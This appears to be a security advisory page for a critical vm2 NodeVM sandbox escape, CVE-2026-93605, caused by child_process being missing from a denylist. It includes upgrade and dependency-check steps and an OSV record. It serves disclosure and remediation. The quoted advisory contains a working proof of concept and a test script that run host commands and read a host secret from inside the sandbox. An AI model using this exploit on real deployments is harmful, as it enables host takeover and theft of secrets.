CVE-2026-93605: Vm2 Vm2 Contains A Sandbox Escape Vulnerability

CRITICAL
Advisory Identifier: GHSA-pq68-rvw4-xp4r
CVSS 10.0
CWE-693 CWE-913
Published
Advisory Summary

CVE-2026-93605 is a CRITICAL (CVSS 10.0) vm2 contains a sandbox escape vulnerability (CWE-693: Protection Mechanism Failure) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 contains a sandbox escape vulnerability. Remediation is available by upgrading affected packages to version 3.12.1.

CVE-2026-93605 at a Glance

CVE Identifier CVE-2026-93605
GHSA Identifier GHSA-pq68-rvw4-xp4r
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-693: Protection Mechanism Failure
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-93605

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.12.1
npm install vm2@3.12.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-93605, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.12.1), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-693: Protection Mechanism Failure, where the product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance. This fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host‑code‑reaching core modules **even when the sandbox requests `builtin:['*']` or names them explicitly** — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** — the single most direct command‑execution primitive. As a result, a sandbox running under `require:{builtin:['*']}` (or the fork's own documented `['*','-http','-net',…]` subtract pattern) can `require('child_process').execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale "`cluster.fork()` spawns a host child process running attacker‑controlled code," yet `child_process` — which spawns host processes more directly — is not. ### Details `lib/builtin.js`: - `DANGEROUS_BUILTINS` (lines **83‑179**) — the Set of denied builtins. `child_process` does not appear anywhere in it. - `isDangerousBuiltin(key)` (lines **185‑195**) — strips `node:` prefixes and applies family‑prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`. - `BUILTIN_MODULES` (lines **209‑210**) — the source list that the `'*'` wildcard expands to — is `builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s))`. Because `isDangerousBuiltin('child_process')` is `false`, `child_process` **remains in `'*'`**. - `addDefaultBuiltin` (the explicit‑name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:['child_process']` is admitted as well. The module returned is the **real host `child_process`** (default `require.context` is `"host"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests `'*'` or explicitly names them" — the invariant `child_process` violates. ### PoC ```js const { NodeVM } = require('vm2'); const r = new NodeVM({ require: { builtin: ['*'] } }).run(` module.exports = require('child_process').execSync('id').toString(); `, 'plugin.js'); console.log(r); // -> "uid=1000(user) gid=1000(user) groups=..." host command execution ``` Verified results: | config | `require('child_process')` | |---|---| | `{ builtin: ['*'] }` | **RCE** — host `id` + host env read | | `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it | | `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the "never, even if named" invariant | | `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` | ### Impact Full host RCE — a complete `NodeVM` sandbox escape — for any deployment that runs untrusted code under `require:{builtin:['*']}` or the documented `['*', '-x', …]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require('child_process')`. ### builtin-child_process-denylist-gap-rce.js ```js 'use strict'; // F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`. // The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins // even under `builtin:['*']` or explicit naming — module, worker_threads, // cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT // child_process. So `require:{builtin:['*']}` (an allow-all config the fork // explicitly hardens) yields direct host RCE. Attacker controls only the // sandboxed script. const path = require('path'); const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js')); process.env.HOST_ONLY_SECRET = 'CANARY123'; // host-only; sandbox process stub has env:{} function tryConfig(label, opts) { try { const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => { try { const cp = require('child_process'); return { reached: true, id: cp.execSync('id').toString().trim(), hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim() }; } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; } })()`, 'plugin.js'); console.log(label, '=>', JSON.stringify(r)); return r; } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; } } console.log('--- child_process reachability by NodeVM require config ---'); const a = tryConfig("require:{builtin:['*']} ", { require: { builtin: ['*'] } }); const b = tryConfig("require:{builtin:['*','-fs']} ", { require: { builtin: ['*', '-fs'] } }); // documented subtract pattern const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } }); // control: not allowed -> denied const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123' && b && b.reached && c && c.reached === false; console.log(ok ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed" : "\n>>> NOT confirmed"); process.exit(ok ? 42 : 1); ```

CVE-2026-93605 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.12.1
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm
< 3.12.1
3.12.1

References

Frequently Asked Questions

What is CVE-2026-93605?
CVE-2026-93605 is a security vulnerability in Vm2 involving vm2 contains a sandbox escape vulnerability under CWE-693: Protection Mechanism Failure.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.12.1 across affected packages: vm2.
What version fixes CVE-2026-93605?
Upgrading to 3.12.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.12.1. Upgrade your dependency to 3.12.1 or later.
What is the CVSS score of CVE-2026-93605?
CVE-2026-93605 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-93605?
CVE-2026-93605 is classified under CWE-693: Protection Mechanism Failure (The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.).
How can I check npm dependencies for CVE-2026-93605?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-pq68-rvw4-xp4r",
  "modified" : "2026-10-07T18:05:00Z",
  "published" : "2026-10-07T18:05:00Z",
  "aliases" : [ "CVE-2026-93605" ],
  "summary" : "vm2 contains a sandbox escape vulnerability",
  "details" : "vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host‑code‑reaching core modules **even when the sandbox requests `builtin:['*']` or names them explicitly** — the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** — the single most direct command‑execution primitive. As a result, a sandbox running under `require:{builtin:['*']}` (or the fork's own documented `['*','-http','-net',…]` subtract pattern) can `require('child_process').execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker‑controlled code,\" yet `child_process` — which spawns host processes more directly — is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83‑179**) — the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185‑195**) — strips `node:` prefixes and applies family‑prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209‑210**) — the source list that the `'*'` wildcard expands to — is `builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s))`. Because `isDangerousBuiltin('child_process')` is `false`, `child_process` **remains in `'*'`**.\n- `addDefaultBuiltin` (the explicit‑name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:['child_process']` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist's own comment (lines 42‑44) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `'*'` or explicitly names them\" — the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require('vm2');\n\nconst r = new NodeVM({ require: { builtin: ['*'] } }).run(`\n  module.exports = require('child_process').execSync('id').toString();\n`, 'plugin.js');\n\nconsole.log(r);   // -> \"uid=1000(user) gid=1000(user) groups=...\"   host command execution\n```\nVerified results:\n| config | `require('child_process')` |\n|---|---|\n| `{ builtin: ['*'] }` | **RCE** — host `id` + host env read |\n| `{ builtin: ['*', '-fs'] }` (documented subtract pattern) | **RCE** — subtracting other modules does not remove it |\n| `{ builtin: ['child_process'] }` | **RCE** — explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: ['fs'] }` (control) | denied — `Cannot find module 'child_process'` |\n\n\n### Impact\nFull host RCE — a complete `NodeVM` sandbox escape — for any deployment that runs untrusted code under `require:{builtin:['*']}` or the documented `['*', '-x', …]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require('child_process')`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n'use strict';\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:['*']` or explicit naming — module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT\n// child_process. So `require:{builtin:['*']}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require('path');\nconst { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));\n\nprocess.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n  try {\n    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {\n      try {\n        const cp = require('child_process');\n        return {\n          reached: true,\n          id: cp.execSync('id').toString().trim(),\n          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()\n        };\n      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n    })()`, 'plugin.js');\n    console.log(label, '=>', JSON.stringify(r));\n    return r;\n  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }\n}\n\nconsole.log('--- child_process reachability by NodeVM require config ---');\nconst a = tryConfig(\"require:{builtin:['*']}        \", { require: { builtin: ['*'] } });\nconst b = tryConfig(\"require:{builtin:['*','-fs']}  \", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:['fs']} (ctl) \", { require: { builtin: ['fs'] } });          // control: not allowed -> denied\n\nconst ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'\n        && b && b.reached\n        && c && c.reached === false;\nconsole.log(ok\n  ? \"\\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n  : \"\\n>>> NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.12.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.12.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-93605"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-693", "CWE-913" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T18:05:00Z",
    "nvd_published_at" : null
  }
}